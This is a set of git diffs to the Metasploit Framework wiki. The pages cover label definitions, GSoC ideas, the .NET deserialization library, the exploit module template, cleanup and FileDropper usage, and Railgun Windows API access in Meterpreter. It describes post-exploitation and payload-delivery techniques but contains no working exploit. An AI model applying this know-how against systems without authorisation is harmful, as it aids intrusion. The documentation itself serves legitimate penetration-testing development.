The module needs additional work to pass our automated linting rules.
|
||||
|
||||
### Needs More Information
|
||||
|
||||
The issue lacks enough detail to replicate/resolve successfully.
|
||||
|
||||
### Newbie Friendly
|
||||
|
||||
Something that's pretty easy to test or tackle.
|
||||
|
||||
### attic
|
||||
|
||||
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
|
||||
|
||||
### Needs unique branch
|
||||
|
||||
Your submitted a PR from your `master` branch.
|
||||
@@ -49,4 +73,74 @@ Because of how GitHub tracks changes between branches and what got added in a pa
|
||||
git checkout -b <BRANCH_NAME>
|
||||
git push <your_fork_remote> <BRANCH_NAME>
|
||||
```
|
||||
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
|
||||
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
|
||||
|
||||
### Needs-docs
|
||||
|
||||
When a module is uploaded without a corresponding documentation file, add this label in indicate docs are required
|
||||
|
||||
### Not Stale
|
||||
|
||||
Label to stop an issue from being auto closed.
|
||||
|
||||
### Osx
|
||||
|
||||
Label for any osx related work.
|
||||
|
||||
### Payload
|
||||
|
||||
Touches something related to a payload.
|
||||
|
||||
### RN (Release notes)
|
||||
|
||||
There are a series of labels that are added to all PRs when they are landed that define the release notes for the PR.
|
||||
They are denoted by the `rn-` prefix and they are important as they are used by automation to track metasploit-framework
|
||||
statistics:
|
||||
|
||||
#### rn-enhancement
|
||||
|
||||
Release notes for an enhancement.
|
||||
|
||||
#### rn-fix
|
||||
|
||||
Release notes for a fix.
|
||||
|
||||
#### rn-modules
|
||||
|
||||
Release notes for new or majorly enhanced modules.
|
||||
|
||||
#### rn-no-release-notes
|
||||
|
||||
The PR is too small or insignificant to warrant release notes.
|
||||
|
||||
#### rn-wiki
|
||||
|
||||
Release notes for Metasploit Framework wiki.
|
||||
|
||||
### Stale
|
||||
|
||||
Marks an issue as stale, to be closed if no action is taken.
|
||||
|
||||
### Suggestion
|
||||
|
||||
Suggestions for new functionality.
|
||||
|
||||
### Suggestion-docs
|
||||
|
||||
New documentation suggestions.
|
||||
|
||||
### Suggestion-feature
|
||||
|
||||
New feature suggestions.
|
||||
|
||||
### Suggestion-Module
|
||||
|
||||
New module suggestions.
|
||||
|
||||
### Usability
|
||||
|
||||
Usability improvements.
|
||||
|
||||
### YARD
|
||||
|
||||
YARD Documentation Tasks for API Documentation.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
This page lists the keys in use by [Metasploit committers][msf-committers] and
|
||||
This page lists the keys in use by [[Metasploit committers|committer-rights]] and
|
||||
can be used to verify merge commits made to <https://github.com/rapid7/metasploit-framework>.
|
||||
|
||||
# Keybase.io identities
|
||||
@@ -118,7 +118,6 @@ Enter passphrase: [...]
|
||||
|
||||
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
|
||||
|
||||
[msf-committers]:https://docs.metasploit.com/docs/development/maintainers/committer-rights.html
|
||||
[pro-sharing]:https://filippo.io/on-keybase-dot-io-and-encrypted-private-key-sharing/
|
||||
[con-sharing]:https://www.tbray.org/ongoing/When/201x/2014/03/19/Keybase#p-5
|
||||
[tracking]:https://github.com/keybase/keybase-issues/issues/100
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
Metasploit includes a library for leveraging .NET deserialization attacks. Using
|
||||
it within a module is very straight forward, the module author just needs to
|
||||
know two things: the gadget chain and the formatter. The library uses the same
|
||||
names for each of these values as the [YSoSerial.NET][1] project for
|
||||
names for each of these values as the [YSoSerial.NET][ysoserial] project for
|
||||
compatibility, although the Metasploit library only supports a subset of the
|
||||
functionality.
|
||||
|
||||
@@ -69,7 +69,7 @@ serialized = ::Msf::Util::DotNetDeserialization.generate(
|
||||
The library also has an interface available as a standalone command line tool
|
||||
which is suitable for creating payloads for single-use research purposes. This
|
||||
tool `dot_net.rb` is available in the `tools/payloads/ysoserial` directory. The
|
||||
arguments for this tool are aligned with those of [YSoSerial.NET][1], allowing
|
||||
arguments for this tool are aligned with those of [YSoSerial.NET][ysoserial], allowing
|
||||
the arguments of basic invocations to be the same. It should be noted however
|
||||
that the [supported](#support-matrix) gadgets and formatters are not the same.
|
||||
|
||||
@@ -109,13 +109,13 @@ generate functions while the `-f` / `--formatter` arguments maps to the
|
||||
## Making Changes
|
||||
|
||||
Adding new gadget chains and formatters involves creating a new file in the
|
||||
respective library directory: [`lib/msf/util/dot_net_deserialization`][2]. The
|
||||
"native" gadget chain type is implemented following the [MS-NRBF][3] format and
|
||||
the [Bindata][4] records as defined in [`types/`][5] subdirectory. Once the new
|
||||
respective library directory: [`lib/msf/util/dot_net_deserialization`][dot-net-deserialization-root]. The
|
||||
"native" gadget chain type is implemented following the [MS-NRBF] format and
|
||||
the [Bindata][] records as defined in [`types/`][dot-net-deserialization-types] subdirectory. Once the new
|
||||
gadget chain or formatter is implemented, it needs to be added to the main
|
||||
library file ([`dot_net_deserialization.rb`][6]).
|
||||
library file ([`dot_net_deserialization.rb`][dot-net-deserialization-rb]).
|
||||
|
||||
Since serialization chain generate is deterministic, a [unit test][7] should be
|
||||
Since serialization chain generate is deterministic, a [unit test][unit-test] should be
|
||||
added for any new gadget chain to ensure that the checksum of the
|
||||
BinaryFormatter representation is consistent.
|
||||
|
||||
@@ -124,15 +124,13 @@ Since the .NET deserialization gadgets run operating system commands, the
|
||||
following resources can be helpful for module developers to deliver native
|
||||
payloads such as Meterpreter.
|
||||
|
||||
* [How to use command stagers][8]
|
||||
* [How to use Powershell in an exploit][9]
|
||||
* [[How to use command stagers|./how-to-use-command-stagers.md]]
|
||||
* [[How to use Powershell in an exploit|./how-to-use-powershell-in-an-exploit.md]]
|
||||
|
||||
[1]: https://github.com/pwntester/ysoserial.net
|
||||
[2]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization
|
||||
[3]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5
|
||||
[4]: https://github.com/dmendel/bindata
|
||||
[5]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization/types
|
||||
[6]: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/util/dot_net_deserialization.rb
|
||||
[7]: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/util/dot_net_deserialization_spec.rb
|
||||
[8]: https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html
|
||||
[9]: https://docs.metasploit.com/docs/development/developing-modules/libraries/how-to-use-powershell-in-an-exploit.html
|
||||
[ysoserial]: https://github.com/pwntester/ysoserial.net
|
||||
[dot-net-deserialization-root]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization
|
||||
[MS-NRBF]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5
|
||||
[Bindata]: https://github.com/dmendel/bindata
|
||||
[dot-net-deserialization-types]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization/types
|
||||
[dot-net-deserialization-rb]: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/util/dot_net_deserialization.rb
|
||||
[unit-test]: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/util/dot_net_deserialization_spec.rb
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GSoC Project Ideas in no particular order.
|
||||
|
||||
Mentors: @busterb, @zerosteiner, @timwr, @asoto-r7, @jmartin-r7, @pbarry-r7, @mkienow-r7, @jbarnett-r7
|
||||
Mentors: [@busterb](https://github.com/busterb), [@zerosteiner](https://github.com/zerosteiner), [@timwr](https://github.com/timwr), [@asoto-r7](https://github.com/asoto-r7), [@jmartin-r7](https://github.com/jmartin-r7), [@pbarry-r7](https://github.com/pbarry-r7), [@mkienow-r7](https://github.com/mkienow-r7), [@jbarnett-r7](https://github.com/jbarnett-r7)
|
||||
|
||||
## Enhance Metasploit Framework
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @zerosteiner, @jmartin-r7
|
||||
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7)
|
||||
|
||||
## Enhance Metasploit Framework
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @zerosteiner, @jmartin-r7
|
||||
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7)
|
||||
|
||||
## Enhance Metasploit Framework
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @zerosteiner, @jmartin-r7, @gwillcox-r7
|
||||
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7), [@gwillcox-r7](https://github.com/gwillcox-r7)
|
||||
|
||||
Slack Contacts: @zeroSteiner, @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
|
||||
|
||||
@@ -24,7 +24,7 @@ Difficulty: 4/5
|
||||
|
||||
### LDAP Capture Capabilities
|
||||
|
||||
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
|
||||
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell?referrer=msf_docs). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
|
||||
|
||||
Size: Medium
|
||||
Difficulty: 3/5
|
||||
@@ -58,7 +58,7 @@ Difficulty: 4/5
|
||||
|
||||
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
|
||||
|
||||
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](./Metasploit-Data-Service-Enhancements-Goliath)
|
||||
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]
|
||||
|
||||
Size: Medium/Large (Depends on proposal)
|
||||
Difficulty 3/5
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @jmartin-r7, @gwillcox-r7
|
||||
Mentors: [@jmartin-r7](https://github.com/jmartin-r7)
|
||||
|
||||
Slack Contacts: @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
|
||||
Slack Contacts: @Op3n4M3 on [Metasploit Slack](https://metasploit.slack.com/)
|
||||
|
||||
For any questions about these projects reach out on the Metasploit Slack in the `#gsoc` channel or DM one of the mentors using the Slack contacts listed above. Note that mentors may be busy so please don't expect an immediate response, however we will endeavor to respond as soon as possible. If you'd prefer not to join Slack, you can also email `msfdev [@] metasploit [dot] com` and we will respond to your questions there if email is preferable.
|
||||
|
||||
@@ -17,18 +17,11 @@ Difficulty: 4/5
|
||||
|
||||
### LDAP Capture Capabilities
|
||||
|
||||
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
|
||||
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell?referrer=msf_docs). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
|
||||
|
||||
Size: Medium
|
||||
Difficulty: 3/5
|
||||
|
||||
### Enhanced LDAP Query & Collection
|
||||
|
||||
When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
|
||||
|
||||
Size: Medium/Large (Depends on proposal)
|
||||
Difficulty: 3/5
|
||||
|
||||
### Improving post-exploit API to be more consistent, work smoothly across session types
|
||||
|
||||
The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, PowerShell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements:
|
||||
@@ -51,9 +44,9 @@ Difficulty: 4/5
|
||||
|
||||
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
|
||||
|
||||
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](./Metasploit-Data-Service-Enhancements-Goliath)
|
||||
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]]
|
||||
|
||||
Size: Medium/Large (Depends on proposal)
|
||||
Size: Medium/Large (Depends on proposal)
|
||||
Difficulty 3/5
|
||||
|
||||
## Submit your own
|
||||
|
||||
@@ -69,7 +69,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '',
|
||||
'DefaultTarget' => 0
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
||||
},
|
||||
)
|
||||
)
|
||||
end
|
||||
@@ -99,7 +104,14 @@ end
|
||||
|
||||
* **Payloads** - The Payloads field specifies how the payload should be encoded and generated. You can specify: `Space`, `SaveRegisters`, `Prepend`, `PrependEncoder`, `BadChars`, `Append`, `AppendEncoder`, `MaxNops`, `MinNops`, `Encoder`, `Nop`, `EncoderType`, `EncoderOptions`, `ExtendedOptions`, `EncoderDontFallThrough`.
|
||||
|
||||
**DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
|
||||
* **DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
|
||||
|
||||
* **Notes** - The Notes field is a hash always containing three keys. The value of each key is an array of constants. The list of available constants can be found in the [[Definition of Module Reliability Side Effects and Stability|./Definition-of-Module-Reliability-Side-Effects-and-Stability.md]]. The key should be present even if the array is empty.
|
||||
|
||||
* **Stability** - The Stability field describes how the exploit affects the system it's being run on, ex: `CRASH_SAFE`, `CRASH_OS_DOWN`
|
||||
* **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION`
|
||||
* **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
|
||||
|
||||
|
||||
Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible.
|
||||
|
||||
|
||||
@@ -33,7 +33,6 @@ Are you anxious to get your [[Metasploit Development Environment|./dev/Setting-U
|
||||
- [[Exploit Ranking]]
|
||||
- [[Module Reference Identifiers]]
|
||||
- [[How to check Microsoft patch levels for your exploit]]
|
||||
- [[How to clean up files using FileDropper]]
|
||||
- [[How to deprecate a Metasploit module]]
|
||||
- [[How to do reporting or store data in module development]]
|
||||
- [[How to log in Metasploit]]
|
||||
@@ -65,6 +64,7 @@ Are you anxious to get your [[Metasploit Development Environment|./dev/Setting-U
|
||||
- [[Using ReflectiveDll Injection]]
|
||||
- [[Oracle Usage]]
|
||||
- [[Definition of Module Reliability, Side Effects, and Stability|./Definition-of-Module-Reliability-Side-Effects-and-Stability.md]]
|
||||
- [[How to cleanup after module execution]]
|
||||
|
||||
# Metasploit Payloads #
|
||||
|
||||
|
||||
@@ -1,38 +0,0 @@
|
||||
## On this page
|
||||
|
||||
* [Examples](#examples)
|
||||
* [Reference](#reference)
|
||||
|
||||
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
|
||||
|
||||
## Examples
|
||||
|
||||
The FileDropper mixin is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
|
||||
|
||||
```ruby
|
||||
include Msf::Exploit::FileDropper
|
||||
```
|
||||
|
||||
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the ```register_file_for_cleanup``` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: ```C:\Windows\System32\payload.exe```, then my statement can be:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("C:\\Windows\\System32\\payload.exe")
|
||||
```
|
||||
|
||||
If my session's current directory is already in ```C:\Windows\System32\```, then you can:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("payload.exe")
|
||||
```
|
||||
|
||||
If you wish to register multiple files, you can also provide the file names as arguments:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("file_1.vbs", "file_2.exe", "file_1.conf")
|
||||
```
|
||||
|
||||
Note that if your exploit module uses ```on_new_session```, you are actually overriding FileDropper's ```on_new_session```.
|
||||
|
||||
## Reference
|
||||
|
||||
- <https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/file_dropper.rb>
|
||||
@@ -0,0 +1,86 @@
|
||||
## On this page
|
||||
|
||||
* [Cleanup method](#cleanup-method)
|
||||
* [FileDropper Mixin](#filedropper-mixin)
|
||||
|
||||
## Cleanup method
|
||||
|
||||
Metasploit has a handy `cleanup` method that is always called when the module terminates, whether it is successful or not. This method can be overridden by any modules to add their own cleanup routines. For example, this might be useful to put some files back on the target after the module had deleted them. Another scenario would be to restore the settings in a web application that were modified by the exploit. This is the right place to clean things up.
|
||||
|
||||
Framework itself implements this method to disconnect connections, call the handler cleanup routines, etc. Some other mixins, such as the `Msf::Exploit::FileDropper` (see the next [section](#filedropper-mixin)) or `Msf::Exploit::Remote::Kerberos::Client`, override this method to add their own cleanup code. It is extremely important to **always** call `super` in your `cleanup` method to make sure Framework and any other mixins clean up themself properly.
|
||||
|
||||
Here is an example that restores a configuration file after being deleted by the module:
|
||||
```ruby
|
||||
def cleanup
|
||||
unless self.conf_content.nil?
|
||||
write_file(self.conf_file, self.conf_content)
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
```
|
||||
|
||||
Here is another example of a `cleanup` method that deletes a temporary Git repository:
|
||||
```ruby
|
||||
def cleanup
|
||||
super
|
||||
return unless need_cleanup?
|
||||
|
||||
print_status('Cleaning up')
|
||||
uri = normalize_uri(datastore['USERNAME'], self.repo_name, '/settings')
|
||||
csrf = get_csrf(uri)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], uri),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' => {
|
||||
_csrf: csrf,
|
||||
action: 'delete',
|
||||
repo_name: self.repo_name
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unreachable, 'Unable to reach the settings page')
|
||||
end
|
||||
|
||||
unless res.code == 302
|
||||
fail_with(Failure::UnexpectedReply, 'Delete repository failure')
|
||||
end
|
||||
|
||||
print_status("Repository #{self.repo_name} deleted.")
|
||||
|
||||
nil
|
||||
end
|
||||
```
|
||||
|
||||
## FileDropper Mixin
|
||||
|
||||
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
|
||||
|
||||
The [FileDropper mixin](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/file_dropper.rb) is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
|
||||
|
||||
```ruby
|
||||
include Msf::Exploit::FileDropper
|
||||
```
|
||||
|
||||
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the `register_file_for_cleanup` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: `C:\Windows\System32\payload.exe`, then my statement can be:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("C:\\Windows\\System32\\payload.exe")
|
||||
```
|
||||
|
||||
If my session's current directory is already in `C:\Windows\System32\`, then you can:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("payload.exe")
|
||||
```
|
||||
|
||||
If you wish to register multiple files, you can also provide the file names as arguments:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("file_1.vbs", "file_2.exe", "file_1.conf")
|
||||
```
|
||||
|
||||
Note that if your exploit module uses `on_new_session`, you are actually overriding FileDropper's `on_new_session`.
|
||||
|
||||
@@ -62,6 +62,14 @@ The other one is ```inspect```, which returns a string of a human-readable repre
|
||||
session.inspect
|
||||
```
|
||||
|
||||
One commonly used method of the session object is the `platform` method. For example, if you're writing a post module for a windows exploit, in the check method you'll likely want to use `session.platform` to ensure the target session is affected:
|
||||
```ruby
|
||||
unless session.platform == 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
```
|
||||
|
||||
You can also look at [other current post modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/post) and see how they use their session object.
|
||||
|
||||
### The Msf::Post Mixin
|
||||
|
||||
+54
-39
@@ -1,8 +1,8 @@
|
||||
Railgun is a very powerful post exploitation feature exclusive to Windows Meterpreter. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, what you can do is you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
|
||||
Railgun is a very powerful post exploitation feature exclusive to the Windows and Python Meterpreters. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a Meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
|
||||
|
||||
### Defining a DLL and its functions
|
||||
## Defining a DLL and its functions
|
||||
|
||||
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: kernel32, ntdll, user32, ws2_32, iphlpapi, advapi32, shell32, netapi32, crypt32, wlanapi, wldap32, version. The same list of built-in DLLs can also be retrieved by using the ```known_dll_names``` method.
|
||||
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: advapi32, crypt32, dbghelp, iphlpapi, kernel32, netapi32, ntdll, psapi, shell32, spoolss, user32, version, winspool, wlanapi, wldap32, and ws2_32. The same list of built-in DLLs can also be retrieved by using the `known_library_names` method.
|
||||
|
||||
All DLL definitions are found in the "[def](https://github.com/rapid7/metasploit-framework/tree/master/lib/rex/post/meterpreter/extensions/stdapi/railgun/def)" directory, where they are defined as classes. The following template should demonstrate how a DLL is actually defined:
|
||||
|
||||
@@ -16,16 +16,16 @@ module Stdapi
|
||||
module Railgun
|
||||
module Def
|
||||
|
||||
class Def_somedll
|
||||
class Def_windows_somedll
|
||||
|
||||
def self.create_dll(dll_path = 'somedll')
|
||||
dll = DLL.new(dll_path, ApiConstants.manager)
|
||||
def self.create_library(constant_manager, dll_path = 'somedll')
|
||||
dll = Library.new(library_path, constant_manager)
|
||||
|
||||
# 1st argument = Name of the function
|
||||
# 2nd argument = Return value's data type
|
||||
# 3rd argument = An array of parameters
|
||||
dll.add_function('SomeFunction', 'DWORD',[
|
||||
["DWORD","hwnd","in"]
|
||||
['DWORD','hwnd','in']
|
||||
])
|
||||
|
||||
return dll
|
||||
@@ -36,32 +36,34 @@ end
|
||||
end; end; end; end; end; end; end
|
||||
```
|
||||
|
||||
In function definitions, Railgun supports these datatypes: VOID, BOOL, DWORD, WORD, BYTE, LPVOID, HANDLE, PDWORD, PWCHAR, PCHAR, PBLOB.
|
||||
In function definitions, Railgun supports these data types: BOOL, BYTE, DWORD, LPVOID, PBLOB, PCHAR, PDWORD, PULONG_PTR, PWCHAR, ULONG_PTR, VOID, WORD.
|
||||
|
||||
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, ```MessageBoxA``` has a "in" parameter named ```lpText```, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
|
||||
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, `MessageBoxA` has an "in" parameter named `lpText`, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
|
||||
|
||||
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash.
|
||||
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash. Some datatypes such as LPVOID and ULONG_PTR have a size that is determined based on the host architecture, e.g. 32-bit versions of Windows use 4-byte/32-bit values. For cross compatibility, the number 4 (for 4-bytes) can be used as the size for these values on both 32-bit and 64-bit systems. The number four comes from the size used for these types in the original 32-bit implementation and was selected to maintain backwards compatibility when 64-bit support was added.
|
||||
|
||||
An "inout" parameter serves as an input to the called function, but can be potentially modified by it. You can inspect the return hash for the modified value like an "out" parameter.
|
||||
|
||||
A quick way to define a new function at runtime can be done like the following example:
|
||||
